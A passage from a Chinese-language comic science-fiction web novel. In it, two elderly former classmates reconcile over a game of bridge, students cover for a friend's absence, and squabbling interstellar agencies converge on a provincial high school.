律易棋作为庄家的队友,他要明手,由庄家来指定他打什么牌,他没有出牌的权力,也没法暗中捣乱了。
律易棋把手牌摊在桌子上,无奈地耸耸肩。然后就把椅子挪到康烁影身边,试图看她的牌。
康烁影一俯身将牌压在身下:“没有这么玩赖的!”
律易棋理直气壮:“我就看看,又不说话。我连出牌权都没有,看看怎么了?”同时用疯狂眨眼来暗示康烁影:你别入戏太深,我们才是目标一致的!
神婆再三警告他不许说话。律易棋说:“我要是敢反悔你就把我从三楼扔下去,我保证不反抗。”
神婆不管他了。保洁看大家都商量好了,便打出2草花来垫牌,神婆拿律易棋的牌出了方片5,康烁影彻底自暴自弃了,随便打出一张牌。那张牌符合规则,大家也就没管她了。
场上变成了保洁和神婆之间的博弈。两个人沉默着从打出手牌,记录胜负。无论输赢,双方的表情都没有丝毫慌乱。反而有一种淡淡的微笑从她们脸上浮现。果酒催化的微醺、玩弄权柄的享受、或千金一掷的奢靡,都不一定能换来此刻的沉醉。
她们如同执掌生杀的政客、拨弄群星的上帝,在牌桌上,她们掌握了一切,包括命运的丝线。老迈的双手,顷刻间变成万物的指挥棒。
胜负之间,牌一张张被收走。
孤注一掷地叫出了7NT的神婆有很大的风险,只要对方赢下一宕,她就算输了。但她同时操控着两副手牌,可以自行操控一切战术。而保洁却要和完全不会打牌的康烁影配合,相比之
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下,反倒是神婆的胜算大一点。
保洁说:“你的技术变差了。”她打出了草花7。
神婆翻白眼:“说得好像你进步了一样。”
“我们好久没有打牌了。”红心9。
“谁有空跟你打牌?我还要工作呢。”
律易棋凉凉地道:“什么工作啊?”
神婆理直气壮:“给焦虑的年轻人们做精神治疗。”
说人话就是传播封建迷信,兼职跳大神,还谎称罐头鱿鱼是肉灵芝,搞得女高中生寝食难安,差点破罐子破摔一把火烧了整栋楼。
“要是能出去,我们一起去打牌不?”保洁问。她看了看手里的牌,打出了红心A,企图向康烁影暗示换花色。但她打完才想起来康烁影看不懂。
神婆古怪地看着她,打心底感到匪夷所思,甚至怀疑这是她的战术:“你哪找来人打牌?”
“我们以前的同学们啊。”红心9。
“人家要看孙子要上班,谁有空大老远跑来找你玩?”
“你们总有时间的。”方块7。
“到处挤时间就为了打牌?怪不得你考不上高中。”
“学生也要休息。那个叫什么?劳……劳……一劳永逸?”
“是劳逸结合。”
“对。玩玩又不碍事。不玩的人多可怜啊。”
神婆手里只剩下两张牌了:“你在这边慢慢玩吧!我是不会给你吃方便面的!”
保洁笑了笑:“说不准我会赢,别高兴得太早了。”
神婆从律易棋的牌堆里找出一张比较小的牌,等康烁影出完一张,就把自己的牌放上去,然后把牌收起来,记下自己最后一轮的胜利。
康烁影说:“不对。等一下。我好像赢了。”
“……你什么?”
康烁影指向牌堆里的黑桃K。
场上的牌分别是神婆的黑桃Q,律易棋的红心2,康烁影的黑桃K和保洁的草花K。而最大的黑桃A,作为神婆的第一张手牌,早已静静地躺在牌堆里。
神婆惊骇到说不出话来。她光和保洁说话,一时不察竟然忘了算牌。而这个连花色都得对着卡片数的死丫头居然知道留牌?
康烁影把花色又数了一遍,终于确定了:“我赢了!”
神婆的脑子动得飞快,随时准备耍赖:“你打过桥牌?”
“我只打过斗地主。”
“那你怎么知道出什么?”
康烁影眨眨眼睛,用一种年长女性很难指责的天真表情看着她:“我随便出的呀。”
但神婆不吃这一套。她嘴里冒出一大串方言脏话。
康烁影的确完全不会桥牌,她的心思也不在牌上。从头到尾,她都在专心致志地偷听两个人的对话,从语言、动作、微表情里揣测这两个人的关系。
因为她的本质是现充,和现实生活的紧密接触使得她锻炼出了一种宝贵的技能:观察力。
她尝试从这些信息里提取出这两个人的关系:同学。初中同学。关系曾经不错。分别多年。都会打桥牌——这句是废话。桥牌……桥牌……桥牌……
她的视线空空地落在保洁手里的牌上。
声音汇聚成一张一张的纸牌,她静静地听着里面的暗语,像是把谜底和谜题连线的游戏。
“你”是草花,“你们”是方块,“我们”是红心。字数是纸牌的序号。
“你”有“你们”,“我们”自然也有“我”。其他三个花色都有了,那“我”代表的就是最后仅剩的花色:黑桃。
保洁说:“说不准‘我’会赢,别高兴得太早了。”
在这不知是不是歪打正着的暗语里,康烁影打出了黑桃K。
这下,不管神婆想不想耍赖都来不及了!众人精神振奋,康烁影和律易棋严格分工,律易棋捞起两个老人,直接从桥牌室没来得及装栅栏的窗户外翻出去,直奔跳格子。康烁影一路狂奔到楼下,取回黑色剑柄(出于卫生考虑她是用纸巾拿的),用此生最快的速度跑到篮球场边。
四个人轮流在条格子里跳了一圈。周围看似毫无变化,为了安心,康烁影随机抓住一组在操场上遛弯的女同学:“你会打桥牌吗?”
半截眉豆豆眼的女同学不明所以:“我会打斗地主。”
康烁影热泪盈眶:“我回来了!我回来了!”
她一蹦一跳地逃回教学楼。与此同时,下课铃正好打响。
康烁影站住了。
完了,旷课了。
她只能蔫哒哒地往回走。
律易棋从球球那里拿回了手表,手表里的风向标下方有一个半圆形的凸起。他用手遮住阳光往里面看,一颗亮晶晶的东西平稳地漂浮在正中央,没有任何挪动的痕迹。
他松了一口气。在没有任何保护措施和连接措施的情况下,时空没有任何变化,跳格子居然成功返航了。他赶紧用脚跟蹭掉地上的跳格子,心里感到一股劫后余生的喜悦,打算晚上奢侈一把,借呼叫中心一用,去南方买个甜品什么的。
操场遛弯那两个女生里有个探头探脑的,居然是颜阎。她看了看律易棋,又看了看回来的康烁影,发现完全没人注意到她。
她百思不得其解,上去询问律易棋:“不是。你俩怎么了?逃难回来啊?康烁影怎么疯疯癫癫的,这节课她是体育课吗?”
律易棋说:“回头再跟你解释!现在把呼叫中心借我,我要去吃饭了!”
44.纸牌的秘密
康烁影直到放学也没有回来,老师派人去厕所看了一圈也没找着她。刘征兰趁着这阵小小的骚乱多看了几页书,直到下课铃打响,她才后知后觉地把手机振动声和康烁影的失踪联系到一起。
康烁影是不是被律易棋叫走了啊?
刘征兰靠在椅背上思索了一阵,觉得应该帮康烁影遮掩一下,以防她被发到群里批评。
有什么理由呢……
她想了半天,本来想把颜阎拉过来一块儿想,结果四班这节体育课,她早跑得没影了。
刘征兰把书包抱在怀里,扒开试卷和英语报纸,企图寻找一些能带给灵感的东西。教科书、《宇宙的琴弦》、《地球尽头的温室》、一些安德烈纪德、隔壁班女生随手送的叶脉书签、录音笔、福克尼文、她弟弟塞进去的玩具残骸,果然是他小子自己弄坏的、家门钥匙、卫生巾……
卫生巾。
好,下面就用颜阎逃跑操最常用理由:来月经。只要说康烁影来月经了蹲在厕所不敢出来就行了。
刘征兰欢乐地走出教室。
刘征兰不乐地退回教室。
说实话,她不想跟老师交流,更何况还是在说谎。她一点也不喜欢自己的老师,但不得不毕恭毕敬,仿佛露出一丝厌烦就像犯了天大的罪过。她浑身难受,想立刻把颜阎叫来,替她说些甜言蜜语。
刘征兰一咬牙,闷头闯进老师办公室。心里默念:康烁影啊康烁影,你最好真的是办正事去了!
她站在门口的时候,数学老师正边关电脑,边和办公室里其他几个老师抱怨:“对,就是二班。我就不明白了,一个重点班哪有这么多事?以前的学生,普通班都老老实实的,哪有当众逃课的?”
化学老师安慰她:“康烁影就是那样,她们那一圈都不听老师话的。”
她们班的语文老师躺在转椅上,一蹬桌子滑到两人之间:“她平时也就画画脸,没怎么爱顶嘴吧?”
“难说。”数学老师凉凉的,“我最近总是看见她和颜阎凑一块儿。应该是传染了。”
语文老师笑得直拍手,鞋子差点从脚尖上滑下来。
而一旁没有说话的周天子脸色发青,天生向下的嘴角快要耷拉到下巴上。一双手哒哒哒地敲着手机屏幕,疑似在家长群里编辑告状短信。
如果来人是个普通学生,可能会犹豫要不要等数学老师或周天子出来再和她单独说。可惜来的是刘征兰。
她的情商和颜阎不相上下,甚至没有颜阎的花言巧语加成,只不过因为她的寡言,大家一直没能揭穿她的真实面目,只把她当作普通的酷姐,根本没想过她只是情商低。
所以她一脚踏进办公室:“报告。”
数学老师抬头,对她手下的理科第一猛将露出一种难以抑制的喜爱:“征兰,你来做什么?”
“我来替康烁影请假。”刘征兰事先在心里偷偷排练过一遍,此时正努力使自己自然一点,“她来月经了,出不来厕所。”
数学老师怀疑的眼神打量着她:“为什么要你来说?她自己不能说吗?”
“呃……她……”刘征兰的脑子飞速旋转,“她……她还没出来,她没有卫生巾,还在蹲厕所。我来就是借卫生巾的。”
几个老师都笑了。
“你来找我们借卫生巾啊?”语文老师还在转椅子,“我们都绝经啦!你要不找小周问问?”
周天子冷着脸从柜子里拿出一片夜用型卫生巾塞给她,塞完还不忘不轻不重地在她肩膀上来一下:“下次偷偷说就行,不用这么大张旗鼓的。”
“……哦。”
数学老师漫不经心地随口问道:“我让卫絮去找她的时候怎么没看到她?”
“呃……”刘征兰想不出来理由了,“这个……”
“她跑行政楼上厕所了。”门外一道声音传来,“那边干净,教学楼的厕所她嫌脏。”
一个厚背宽肩,身材略圆的女生从门外进来,进门先跟一圈老师打招呼,然后指着刘征兰乐:“她半天不回来,康烁影腿麻得直哭,让我来问一问。”
看到班长,数学老师放心了一点:“她还嫌教学楼的厕所不干净?有的上就不错了!我们以前都是去外面上的。”
女生笑嘻嘻:“可不是嘛?她描眉画眼的,娇气惯了。这几年一向是去行政楼上厕所,怕老师知道都偷偷摸摸的。结果来月经了找不到人帮忙,在蹲坑里抽抽搭搭呢。”
周天子啪啪啪地删了短信,脸色好了不少:“行了行了,出去吧。要外套给她遮一下吗?”
“不用不用,我有外套。我骑车带她回家。”
“那行,去吧。”
刘征兰感觉身体都不是自己的了。进出一趟办公室,人能老好几岁。班长站在旁边,看着她从一根水润的青菜叶变成酸菜叶,无声狂笑。
“谢谢你啊,燕子。”刘征兰有气无力,“没有你,我和康烁影就都栽在这儿了。”
张燕之一挥手:“你该谢的。回来记得提醒康烁影请我喝可乐。”
“我一定提醒。”
张燕之进门前特地把书包放在办公室外,出门就抓着背带把书包拎起来拍灰:“我下楼碰见你的两个小伙伴了,她俩让我上楼跟你说一声,让你去篮球场跟她们会和。”
“我一定去。”
刘征兰三两步走下楼梯。通往操场的门正对着西方,天空呈现出一种蒲公英花的颜色,仿佛是春天的呼唤。
她到的时候,颜阎已经跑了。她去外面吃饭都得提前一两天打报告,没有她家里的菜肯定会剩下,她妈妈又舌头敏感,吃不了剩菜,所以她参加不了任何临时聚餐。
走之前她留下了绿书包,让这两个人给她带点零食饮料。
三个人一头钻进呼叫中心,直奔庆州去吃甜品。律易棋估计惦记好久了,一开门直奔大树头甜品店。
三个人头靠头对着菜单一阵研究,点了蒜香炸鸡翼、炸豆腐、西多士、煎饺子。然后一人又来了一碗糖水。
律易棋死活要吃海带绿豆沙,康烁影说不给她买芝麻糊她就离家出走。拿着菜单的刘征兰莫名其妙担任起了家长的责任。
她对着一个开着折射影像也比她高一点的成年男性,和打扮无限接近于都市丽人的青少年女性,感到十分疑惑:“我们只A甜点,糖水你们还想A?张晓怡上身吧?”
炸鸡翼的外壳脆且薄,肉汁鲜味扑鼻,不用蘸酱滚粉也能满口生香。豆腐滤得细腻,外壳酥脆,内陷软嫩又温热,酱料咸甜,像是自己家用调出来的,没有工业的味道。西多士香香脆脆,是黄油和一点盐烤出来的外壳,里面是花生酱和炼乳的绝妙搭配,咸和甜的绝妙融合在口中奏起交响乐。煎饺子就比较一般了,但聊得来的朋友们聚在一起,吃什么都很开心。
刘征兰感觉味蕾被糖暴打了一顿,她吃不了太甜的,西多士吃得她不停喝水。还好她点的双皮奶奶味浓郁,甜味淡淡的。不然她必然在甜品店里煞风景地喝东方树叶。
“所以你们俩在平行世界跟人打桥牌,律易棋百无一用,康烁影靠现充属性力挽狂澜,拯救世界?”刘征兰道,“还不错,不枉我给你找借口。回去记得跟数学老师道歉,再感谢一下燕子。”
康烁影骄傲地点头。律易棋觉得自己被攻击了,很生气,转头多拿了一个没用过的勺子,从康烁影碗里舀了一勺黑芝麻糊。
他舀完那一勺,和刘征兰充满怜爱、像看玩自己尾巴结果撞上马路牙子的猫猫狗狗一样的眼神对上了。
“干嘛?”他警觉。
“你有没有想过一个问题。”她说,“当事人,造成这件事的那两位,现在去哪了呢?”
律易棋真没忘:“她俩去了哪里其实无所谓。”他说,“我把那个跳格子擦了,她俩要考虑的只有如何说服自己。”
“这么草率?不会泄密吗?”
“不怎么会。我们的文明里有一个社会学词汇,你们地球的一位科幻小说大师也提出过类似的解释。好像叫Sep,意思是Somebody else''s problem,别人的问题。就是我们的大脑会自动过滤掉的,让我们视而不见的问题。因为对我们的生活没什么影响,所以我们也不怎么在意,最后就会成为一个盲点,或者被自动补全。”
“真的?”刘征兰觉得这个风格不太对。
“真的。”律易棋神秘一笑,“至少科幻小说那部分是真的。总而言之,她们会自己找到解释的。”
此时此刻,“她们”,溜进旧楼,偷走了器材室老师的钥匙,钻进桥牌室,打起了桥牌。对之前发生的一切全然没有悔意,可谓是各种意义上的死性不改。
宋玉芳兴致勃勃,一边打牌,一边嘎吱嘎吱嚼着年轻人的小糖球。她的味蕾老化了,早已不像年轻时那样敏感,做饭加的盐往往比年轻时多小半勺。甜味却比咸味更能刺激她,牙神经的疼痛自会提醒她一切。
“好久没有一起打牌了。”她欢快地说,“你说,我们怎么没有约着一起打牌呢?”
“我不上班?不赚钱?”孙家二的白眼都快翻到天上去了。
宋玉芳的手停住了。她用钝刀般的眼仁看着孙家二皮肤松弛的脸,牌的边缘割过她的指尖,最后也只能在她粗糙的指腹上留下浅浅的划痕。
“真的一点时间都没有吗?”她说,“我生过女儿,我也上过班。我不是每天都拖地,家里轮流洗碗,饭菜在电饭煲里热着就行,经常是我回家了,女儿早就吃完饭了。那个时候榕城还向好,总是有很多人。晚上我出去扭秧歌、跳舞、带着我女儿去逛公园。但是我怎么没有想到要和你们见面呢?”
孙家二惊诧地打量她:“你神经病吧!”她说,“有时间和老公小孩在一起,谁和初中同学出来打牌啊!”
宋玉芳没有回答。她总是慢吞吞,话少,但每天脑子里的话能填满十卷磁带:“你初中毕业后不是去做诈骗了吗?现在还做吗?”
“卖盗版光碟怎么就叫诈骗了!我那叫重创资本主义!”孙家二颇为得意地挥舞着左手,“后来还有自印明星海报,倒卖纸壳箱,代签字,躲着城管卖自己家做的淀粉肠和跳大神。”
……听起来全都离诈骗不远。宋玉芳甚至猜测她的淀粉肠用的是最便宜的原料。
孙家二理直气壮,“我卖明星海报都比市场价便宜,跳大神也不喂乱七八糟的草药和土方子,有客户才有我的行业!我只拿钱,又不欺负人。没有我,那些小孩儿只会更惨。”
宋玉芳懒得回复她的歪理邪说,她把牌倒扣过来,双手掌心贴近,比划出一个小小的缝隙:“你一点点空闲都没有?”
“谁跟你一样闲。”
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宋玉芳把手又贴近了些许,强调那个“一点点”。
“……好吧。我儿子有时候去朋友家玩,那个时候我能出去跟老太太们扇扇子。”
“为什么我们没想过出来打牌?大家可能时间对不上,但我们怎么连试都没试过?怎么没有一个人想过?”
孙家二没有想过这个问题。即使上学时大家紧密得仿佛一个人身体里的细胞,但所有人都默认,初中毕业后,大家就会分开了。大家会是见面了叙旧的关系,会是给孩子的怀旧故事里的角色,会是老了之后的一通电话。唯独不是出来打牌的关系。
为什么?为什么没有一个人想到要一起打牌呢?难道大家在桌子上玩那一副牌的时光里,有人出了千吗?有人没付出真心吗?有人自始至终都没有理解规则吗?
还是因为,我们那个时候都太年轻了。年轻得没有重量,年轻得可以轻松地跳格子,年轻得以为研究透桥牌,就研究透了世界的秘密。
但是很快,孙家二想通了。这个人生里,只有婚姻、工作和孩子才是真正的牌局,其他的东西都是桌布上的褶皱。友情啊,桥牌啊,都是奢侈的东西,它们比金条还稀有,比太阳还遥远。拥有它们的只会是住在别墅里的富人和远离地球、住在太空站里的天人。
她把这些告诉了宋玉芳。她多年前的朋友看着她,脸上有很多脂肪流失的痕迹,这让她显得沉重,老迈,不轻盈。
“这是一种不现实的东西!”孙家二絮絮叨叨地说,手上不停地出牌,“大家都有自己的事要忙!明知道聚不起来,为啥还要聚呢?”
宋玉芳没有说话。
“大家差得够远啦。我是个搞诈骗的……不对!我是搞心理咨询的!你是个扫大街的。有些人是收租的,还有些人是老公养着的。我们哪里能聊到一起去。”
孙家二是这么说的,但她也明白这里有一个小小的漏洞。打牌的时候,是可以不说话的。只要看着牌就好,只要揣摩队友的行动就好。做什么工作,找了什么样的对象,孩子的成绩如何,这些都是无关紧要的,无需猜测的。
要猜测的,只有手里这一副纸牌。
“其实我想了想,不知道对不对。”宋玉芳说,“桥牌是有规则的,生活肯定也有,但没人告诉我们。在这个规则里,结婚,生小孩,大概是黑桃,有钱是黑桃A。其他的东西各有各的等级。友情和桥牌大概是红心或者草花吧。”
“你想说什么?”
“我是想说,不止黑桃能赢。偶尔也有红心和草花作为将牌的情况。黑桃也不是最大的,黑桃上面还有无将。”宋玉芳摊开手里的牌,大方地展示给孙家二看。她手里没有黑桃,最大的牌不过是草花K,“而且,没有方片,红心和草花,要怎么组成一副牌呢?”
世界的规则就是这么简单。它不在老人的经验里,不在孩子的哭声里,不在亮闪闪的硬币里。从头到尾,它都在纸牌里。
很多东西都有了解释。原来家人和金钱让她感觉单调、不足够,是因为它们是骗局。满手的黑桃是组不成一套牌的。
孙家二用了六十多年构建起来的世界,用老人们的经验,用同龄人们的语言,用古人们的价值所构建出的铜墙铁壁下,掩埋地基的土缓缓滑落了。
她感到一股前所未有的愤怒:这难道是她的错吗?没能成为一个正直的人,没能有体面的人生,没能坦诚地面对自己,这难道是她的错吗?人们都是这么迎来老年的,人们都是这么度过人生的,难道所有人都是错的吗?难道世界上所有的人都在害她吗?
投奔多数远比坚守自己的内心要容易。孙家二豁然起身,用嘶哑的方言痛骂道:“你嫩娘说的什么晃子嘞,害是俺的错嘞?嫩凭啥就觉着俺稀得跟嫩玩?打个牌嫩娘的值几个钱内?”
被方言劈头盖脸一通骂的宋玉芳却嘻嘻笑起来,熟悉的乡音从她舌尖蹦出:“嫩要是不稀得,留在那边当桥牌王干什么嘞?”
孙家二说不出话了。她已经很难轻松地哭出来了,她的鼻子堵塞,鼻炎药常年揣在兜里。可是此时,眼泪还是沿着她她粗糙的皮肤褶皱,爬满整张脸。
神婆和保洁对视了。两人看着彼此的眼睛。
孙家二和宋玉芳对视了。两人回到了初中的课堂,那个在课桌下,和前桌的老谢、小杨,旁边的白小姐、老李,还有后桌的玉儿、小金,一起打桥牌的日子。
那个时候,只要有空,他们就争先恐后打桥牌,记录胜负的纸张,一天能用两面。大家尽量不发出声音,只能用草稿纸对话。要是老师的眼睛投过来,他们就会装作无事发生。
只要任何两个人对视上了,那可就完了。越严肃的场合越憋不住笑,那两个人就会骤然开始狂笑,笑到空气从肺里溜走,笑到肩膀开始抽动,笑到眼泪模糊视线,笑到脖颈伸直脸庞高扬。
孙家二和宋玉芳再次发出了那样透彻、欢快的笑声,她们已经几十年没有这样放声大笑了。她们年轻的灵魂仿佛跨越了时空,回到了这张牌桌前,但是中间那没有相见的几十年,还是清晰地横亘在她们中间。
笑声渐渐停歇,孙家二跌在椅背里,揉弄着脸上僵硬的肌肉。她的声音轻轻的,仿佛是从很远很远的过去传来:
“我十五岁的时候,以为自己能玩一辈子桥牌……”
她的话音落下,这把牌便结束了。
45.不工作主义
康烁影给颜阎打包了剩菜剩饭。刘征兰让她先自己回去,她要去律易棋的杂货店里拿点饮料。
律易棋从呼叫中心回杂货店,打开冰柜让她随便挑。一转头,却发现刘征兰没有走过来,她站在门口,淡淡地看着他。
“你坐下。”她说,“我们谈谈。”
律易棋挺不明所以,他最近没往任何人脑子里装炸弹,怎么刘征兰突然又变凶了?
但他还是坐下了。无他,刘征兰实在很有压迫感。
17岁高中生坐在柜台里的靠背椅上,搭着扶手,微微抬起下巴俯视着律易棋。
60岁成年人坐在小马扎上,双腿并拢手压膝盖,姿势规矩,谨小慎微。
刘征兰有一下没一下地用食指敲着扶手:“过年看斩将夺旗的时候,你带别人进包厢了吧?”
律易棋神情错愕:“你怎么会这么觉得?”
“少来。”刘征兰自知情商不咋滴,观察表情时很容易误判,于是向上翻着眼睛,“藤发人送给康烁影的花是用植物的茎捆起来的,我们吃完年夜饭回来后,那个茎断掉了,整束花只是被凑在一起摆着。要是你弄断的,你肯定会跟康烁影道歉的,但你没说。”
“你早发现了?怎么现在才问?”
刘征兰的眼神漂移了一瞬:“呃……我其实没发现,康烁影发现的。只不过她今天被你拉着跳格子才想起来你是外星人。她又不敢自己来问,我就替她来了。我要是死了,就说明你真的有问题。”
律易棋没说话,只笑吟吟地看着刘征兰。
刘征兰的坐姿特别直,此时也只是换了只手敲扶手:“你没有刻意隐瞒,不然这种事你肯定能发现,然后补救。所以你不介意我们发现。我只是搞不明白。”她喃喃自语般道,“逃亡中的你,怎么敢在那么多人的场合与熟人碰面呢?”
律易棋来自一个叫掮木的革命组织,这个组织有明确的规划,并且在地球也有产业,如果想要接头,不应该在外星。如果是线人,也完全不必在那么热闹的场合见面。难道他见的是组织之外的人?他要叛变了?他到底是哪边的?这么看来不让他进呼叫中心是个正确的选择……
律易棋不太紧张,他轻松地用手撑着下巴:“你信任我吗?”
“Not very。我对你的期望只有毁灭地球时平等地毁灭所有人,不要搞什么种族性别阶级的差别。要是能重点毁灭所有的学校就好了。”
“那我下面说的,你可信可不信。我是希望你相信的,但不信也没办法。”
“你说吧。”
“我是去见一个朋友。”
刘征兰又变大虾:“你避着我们,在闹市,有风险被抓进监狱,就为了见一个朋友?”
“昂。”
“你说实话,你是不是准备从掮木叛逃再把我们全都供出去。”
律易棋笑了:“放心吧,这些都没有。我只是去见她的。”
刘征兰的眼仁回到了原来的位置。她盯着律易棋的折射影像看了半天,然后轻轻地问:“非常重要的朋友?”
“大概是你和颜阎的关系。”
“你确定?”
“嗯。”
刘征兰的脸上浮现出一抹淡淡的微笑,仿佛这个答案比她想象中还令她满意:“那我就明白了。她叫什么名字?”
“弃首,她叫弃首。”
天空的颜色向深处过渡,莫妮卡杂货店里的光芒渐渐熄灭。工厂、学校和车灯的光芒在余光的尽头星星点点地闪烁。杂货店仿佛变成了一个紧闭的饼干盒,要是有一只巨人的手愿意摇晃它,里面就会传出零食和饮料的哼唱,还有一段人的窃窃私语。
刘征兰心里有一种隐约的预感,她低声问:“你的语言里,‘不干了’怎么读?”
律易棋一怔,而后忍不住笑起来:“你看到那封信了?我本来想发给她的,但我怕她的电子设备被监控,所以一直存在草稿箱里。”他一字一句地读道,“‘不干了’的发音是,‘弃首’。”
“你俩是姐弟?兄妹”
“不,就是朋友。”律易棋淡淡地,“我们的名字是一块儿取的。”
“怎么取这名字?”
“……因为我们不想给任何人干活?”
刘征兰由衷地说:“那这真是好名字。”
晚自习快开始了。刘征兰站起身,没有白拿任何东西,而是给了他一张五元纸币,拿走了一盒饼干:“我会跟她们两个说的。”
“你说吧。”律易棋说,“呃……其实我猜你们很快就会和她见面了。”
“为什么?”刘征兰问。
“因为……”
“因为地球又出问题了!”弃首抱着手里的土黄色田园犬,火急火燎地跑过走廊,“对对对,会议室集合!现在开会!别说你在睡觉了你就是在上吊也不行!”
会议室的长桌周围,已经有好几位长相奇形怪状的生物落座。弃首一把将田园犬扔到桌子上,然后双手撑桌,神情严肃:“同事们!又来活了!咱们的重点监护区地球又又又又出问题了!”
坐在她正对面的小个子男孩把额头上的护目镜抬高了一些:“地球问题多了去了。都市传说高发地,我们编辑部的未解之谜都有它一席,你说的是什么问题?”
“有人在地球跳格子!波动一天前就被检测到了,刚才发现四十五分钟前又有人跳了一次!”
大家反应平平。
弃首更急了:“你们快点发言啊!”
脑袋是长方体,每一面都有显示屏的履带型智械瘫在椅子上,像理发店前的旋转柱一样转动:“弃首,你仔细想一想,以都兰联合的效率,真的有机会让我们出外勤吗?”
“一天前的跳格子,今天才被上报,已经能看出来我们的办事效率低下了。”一名藤发人卷着头发道。
“难道你们以为我想工作吗?”弃首诧异地指着自己,“会议也是流程的一部分,开完会就可以把会议记录交上去审批了!虽然这个月大概率等不到回复,但早点开完会,我就可以早点回去打游戏了,ok?”
大家颓废地点头:“ok,ok。”
“那你应该回不去了。”刚才接到她电话的那位女士被人从门后推出来。
她是一个巨大的贝壳,泡在一个浴缸大小的水缸里,周围环绕着水草和小鱼小虾,“跳格子影响严重,受到了觉醒联盟的高层重视,它们向都兰联合施压,都兰联合又向刻石人施压,最后压到你这里了。需要请你亲自走一趟了。”
“什……?”弃首大惊失色,“多严重?”
“影响《是财迷就下一百层》节目组的行程。这可是觉醒联盟高层最喜欢的综艺。”
长桌周围的各位陆陆续续起身。刚才接话的智械拍了拍她的大腿:“加油,我要回去工作了。”
“你就算回去也只会往自己脑子里狂输电信号吧!”弃首左右看了一圈,终于找到了一个即将出门的背影,“错,你和我一起去!”
乌黑长发的男人看了她一眼,唇边勾起意义不明的嗤笑,幽洞般昏暗无明的双眸闪过一丝讥然。在被她伸出的双手抓住之前,他便一扭身,从大贝壳的水缸和门的缝隙间消失了。
消失途中还撞了一下智械。
被他撞了一下的智械很愤怒,加速碾过他的脚背,留下一个仓皇逃窜的背影。
这就是星际文明的办公室氛围,可以看出这里的公务员完全是一群吃税款的废物。相比之下,另一群人的办事效率就高多了。
驻爬行文明银河系分部太阳系支队地球小组须州办事处(玛丽基金会属)正紧张刺激地备战。
一位年轻的智人女性迅速换上外勤专用的灰色工装,柔韧的材质能保护她在大部分武器的射击下存活,不至于立刻死去:“快点!外派人员做准备,我要是死了就全员出动。后勤部,武器装备检查一遍,把酸腐型生物枪从武器库调出来,文职人员准备上报!”
“是!”
“铃铛女士,您没有武器库的权限……”
“紧急事件里,总负责人有辖下地区的一切指导权!”
“是!”
两边的人分别经过了一系列的文书工作和中心化独/裁后,终于在律易棋的“因为”落地前,于三中门口相遇了。
刻石人装备齐全但纪律散漫,玛丽基金会纪律严明气势汹汹。双方在三中门口对峙,性质无限类似于约架。引得一大群学生在离他们十几米远的地方看热闹,围观人数甚至在不断增加。
律易棋向左侧伸出双臂,为她展示:“因为这个。”
榕城作为一座能源型城市,有大量外来人口。零几年曾经十分混乱,偷窃与抢劫齐飞,火并与约架一色,每个学校上下学时都有警车停在门口保驾护航,这个优良传统一直延续到今天。
警察本来都要出动了,结果两拨人亮出了手里的枪,所有人都松懈了。
国内严谨的禁枪措施让在场人员没有一个人把枪当真。警察打着哈哈过来,把看起来个子小一点的铃铛后背赶走了:“去去去,玩模型枪去别的地方玩。”
而刻石人们则被另外几个警察拎到一边,个个低着头像小学生一样挨训:“多大的人了,还和小孩子玩真人cs,考上大学了吗?找到工作了吗?当上公务员了吗?还染头发,还扰乱交通!不带你们回局里问话了,回家自己反省嗷!”
遭到爬行文明的暴力机关一通训斥,双方只能在马路牙子上再聚头。
地球地理位置偏僻,远离商业和政治中心,因此人力资源不太丰富,两边加起来才八个人。玛丽基金会
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方的负责人铃铛自费请八个人各买了一根烤肠,坐在路边开始谈判。
“我真不想干活,妹妹。”弃首忧郁地捧着脸,“咱俩商量一下,石头剪刀布决胜负然后各回各家好不好。”
“你们刻石人不是维护宇宙安全的正义组织吗?怎么一点工作激情都没有?”铃铛嚼着烤肠,整张脸皱成表情包,“这啥啊,一点肉味没有?”
“谁上班有激情啊?反正我没有。再圣洁的工作也只是工作而已。不想石头剪刀布也可以用虚景格斗一决胜负。”
“很难,朋友。我没考证。”
“什么?你这个证都没考?你怎么当上的须州总负责人?”
“说来话长。”
“有简单一点的版本吗?”
“我是关系户。”
弃首一顿,显然被她的果断震撼了一下:“明白了,明白了。失敬。”
铃铛也学她撑着脸:“要不这样,咱俩偷偷进去看看那个跳格子,把它破坏掉之后再把调查的活儿外包给信得过的当地人吧。”
“这穷乡僻壤的哪找信得过的当地人……”
颜阎从两人面前欢快地经过,准备去莫妮卡杂货店白吃白喝。
弃首一顿:“找着了。”
杂货店里的刘征兰疯狂对她比手势,但没开灯的杂货店里一片黑暗,颜阎走到门口才看见面目狰狞的刘征兰:“呀,刘征兰你也在啊。最近又变狰狞了哈!一看就是学习学多了。芝麻糊太甜了,我拿瓶冰红茶就走……”
她看到刘征兰的眼神一点点变得绝望和怜悯,隐约感到一丝不对劲:“……我又完了,对不对?”
“嗨,怎么叫完了呢!”跟着弃首跑过来的铃铛自来熟地将她搂过来,“来来来两位,拍个照片。柜台后面的小哥也来。三,二,一,查丹~好,工作留痕。”
照片里铃铛酷酷地用食指和拇指拖着下巴,律易棋和弃首都摆出奇怪的手势,刘征兰和颜阎一个闭眼一个遮脸,动作非常不配合。一眼望过去,大家不是开了折射影像就是表情扭曲,居然没有一张正脸入境。
铃铛看了看照片,觉得有律易棋这一个地球土著入境就行了。对此人的逃犯身份浑然不觉。
“三位既然是刻石人的朋友,那应该对星际文明有所耳闻吧?”
三个人都很谦虚:“一点点,一点点。”
“那我委托你们干个活,调查一下这里的跳格子怎么回事,设备我会提供的。事成之后有报酬。只是在十周的相关培训和交易文件审批结束之前就要委屈你们住一下玛丽基金会的套房了。”铃铛打了个响指,她后面的几人立刻上前包围三人。
刘征兰脑子里掠过很多东西,学习啊,成绩啊,考试啊,家庭啊,意外失踪啊,千言万语化作一句悲叹:“有没有人权啊!”
看起来科技的发展没怎么带动人权的发展,刘征兰和颜阎都没带呼叫中心,两人已经准备和外星恐怖分子拼了。结果一个刻石人从杂货店里探出头:“弃首女士,杂货店里有大量高科技产品,远超地球科技水平!”
铃铛眉毛竖起:“怎么回事?”
律易棋疯狂示意弃首:“这个……”
弃首气定神闲:“您是怎么进入玛丽基金会的,这几位就是什么情况。”
竟然都是关系户!铃铛肃然起敬:“敢问几位上面的关系是?”
颜阎摇着手指故作深沉:“天机不可泄露。”
“失敬。”铃铛严肃地点点头,“抱歉,打扰各位了。我们会自行解决这件事的。”
“等等!”刘征兰上前一步,“我们……呃……我们其实已经把跳格子破坏掉了,我们保证不会再有后续事件,至于跳格子产生的原因我们会自己调查的,几位不必再出动了。”
